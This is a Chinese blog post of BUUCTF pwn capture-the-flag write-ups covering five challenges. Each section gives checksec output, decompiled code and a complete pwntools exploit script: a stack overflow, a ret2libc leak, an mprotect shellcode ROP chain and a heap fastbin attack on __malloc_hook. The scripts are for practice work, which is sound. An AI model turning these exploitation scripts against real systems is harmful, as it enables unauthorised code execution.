BUUCTF Pwn Part2

http://www.joe1sn.top/blog/buuctf/buuctf-pwn-part2.html/

1.ciscn_2019_n_1

环境:Ubuntu18

  • 1.checksec
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/ciscn_2019_n_1/ciscn_2019_n_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • 2.IDA
    main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 2, 0LL);
  func(v3, 0LL);
  return 0;
}

func

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

string

LOAD:0000000000400238   0000001C    C   /lib64/ld-linux-x86-64.so.2
LOAD:0000000000400399   0000000A    C   libc.so.6
LOAD:00000000004003A3   00000005    C   gets
LOAD:00000000004003A8   00000005    C   puts
LOAD:00000000004003AD   00000006    C   stdin
LOAD:00000000004003B3   00000007    C   stdout
LOAD:00000000004003BA   00000007    C   system
LOAD:00000000004003C1   00000008    C   setvbuf
LOAD:00000000004003C9   00000012    C   __libc_start_main
LOAD:00000000004003DB   0000000F    C   __gmon_start__
LOAD:00000000004003EA   0000000C    C   GLIBC_2.2.5
.rodata:00000000004007B4    00000018    C   Let's guess the number.
.rodata:00000000004007CC    0000000A    C   cat /flag
.rodata:00000000004007D6    0000001D    C   Its value should be 11.28125
.eh_frame:000000000040089F  00000006    C   ;*3$\"

v1的栈空间覆盖到v2

  • 3.EXP
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",26782)
number_addr = 0x41348000
payload = '\x00'*(0x30-4) + p64(number_addr)
p.sendlineafter("Let's guess the number.\n",payload)
print p.recv()

number是地址下面保存的16进制值

2.ciscn_2019_en_2

和ciscn_2019_c_1一样

3.[OGeek2019]babyrop

  • 1.checksec()
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/[OGeek2019]babyrop/pwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000) 
  • 2.IDA
    main
int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

sub_804871F

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

sub_80487D0

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

sprintf:sprintf 返回以format为格式argument为内容组成的结果被写入string的字节数,结束字符‘\0’不计入内。即,如果“Hello”被写入空间足够大的string后,函数sprintf 返回5

也就是说第一个是'\0'可以绕过检测
string

LOAD:0804840B   00000006    C   write
LOAD:08048411   0000000F    C   __gmon_start__
LOAD:08048420   0000000A    C   GLIBC_2.0
.rodata:08048920    0000000A    C   Time's up
.rodata:0804892E    00000009    C   Correct\n
.rodata:08048937    0000000D    C   /dev/urandom
.eh_frame:080489C7  00000005    C   ;*2$\"

没有/bin/sh,没有system函数,有libc,考虑write泄露libc

  • 3.EXP
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28118)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825

libc_write = libc.sym["write"]
libc_system = libc.sym["system"]
#binsh = next(libc.search('/bin/sh'))
binsh = 0x15902b

payload_1 = '\x00'+ '\xff'*7

paylaod_2 = 'a'*(0xe7+4) + p32(write_plt) + p32(main_addr)
paylaod_2 += p32(1) + p32(write_got) + p32(4)

p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(paylaod_2)

real_write = u32(p.recv(4))
libc_base = real_write - libc_write
real_system = libc_base + libc_system
binsh = binsh + libc_base

payload_1 = '\x00'+ '\xff'*7
payload_3 = 'a'*(0xe7+4) + p32(real_system) + p32(0)
payload_3 += p32(binsh)

p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(payload_3)
p.interactive()

接受的4字节不需要在ljust对齐了

4.get_started_3dsctf_2016

  • 1.checksec()
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/get_started_3dsctf_2016/get_started_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • 2.IDA
    main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

get_flag

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 255 )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

其实主要分析可知,这个程序的大致意思是修改eip改变程序流,最后执行cat_flag
但是BUU远程打不通,要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到被解放的bss段

  • mprotect原型
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

所以我们需要三个参数,就要ppp_ret

  • 3.EXP
from pwn import *
#context.log_level = "debug"
p=remote('node3.buuoj.cn',28495)
elf=ELF('./get_started_3dsctf_2016')
pop3_ret = 0x0804951D
get_flag = 0x080489A0
got_addr = 0x080EB000
payload = 'a'*0x38+p32(elf.symbols['mprotect'])
payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c)+p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop3_ret)+p32(0)+p32(got_addr)+p32(0x100)+p32(got_addr)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

5.babyheap_0ctf_2017

  • 1.checksec()
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/babyheap_0ctf_2017/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

开启了PIE保护,接着申请一个smallchuank,
利用fake_small_chunk 包含smallchuank头部以及fd bk ,
利用dump函数即可获取main_arena地址

  • 2.IDA
    main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70(a1, a2, a3);
  while ( 1 )
  {
    menu();
    input();                                    // input
    switch ( (unsigned __int64)off_14F4 )
    {
      case 1uLL:
        Allocate(v4);
        break;
      case 2uLL:
        Fill(v4);
        break;
      case 3uLL:
        Free(v4);
        break;
      case 4uLL:
        Dump(v4);
        break;
      case 5uLL:
        return 0LL;
      default:
        continue;
    }
  }
}

个人注释了下函数变量,这样方便理解
Fill

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

其实自己运行程序玩玩的时候也可以发现,size的大小是不可信任的,这样就可以堆溢出覆盖到其他区块
这个给我们创造fake_small_chunk创造了条件

  • 3.EXP
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25070)
libc = ELF("./libc-2.23.so")
#p = process("./babyheap_0ctf_2017")

def Allocate(size):
    p.sendlineafter("Command: ","1")
    p.sendlineafter("Size: ",str(size))

def Fill(idx,content):
    p.sendlineafter("Command: ","2")
    p.sendlineafter("Index: ",str(idx))
    p.sendlineafter("Size: ",str(len(content)))
    p.sendlineafter("Content: ",content)

def Free(idx):
    p.sendlineafter("Command: ","3")
    p.sendlineafter("Index: ",str(idx))

def Dump(idx):
    p.recvuntil("Command:")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil('Content: \n')
    return p.recvline()

Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)#idx=2
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
print Dump(1)
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)

base=leak-0x3c4b20
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))

Allocate(0x60)#idx
Allocate(0x60)#idx
Fill(2,"a"*3+p64(0)+p64(0)+p64(base+0x4526a))

Allocate(0x100)#idx4

p.interactive()

详细:
iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容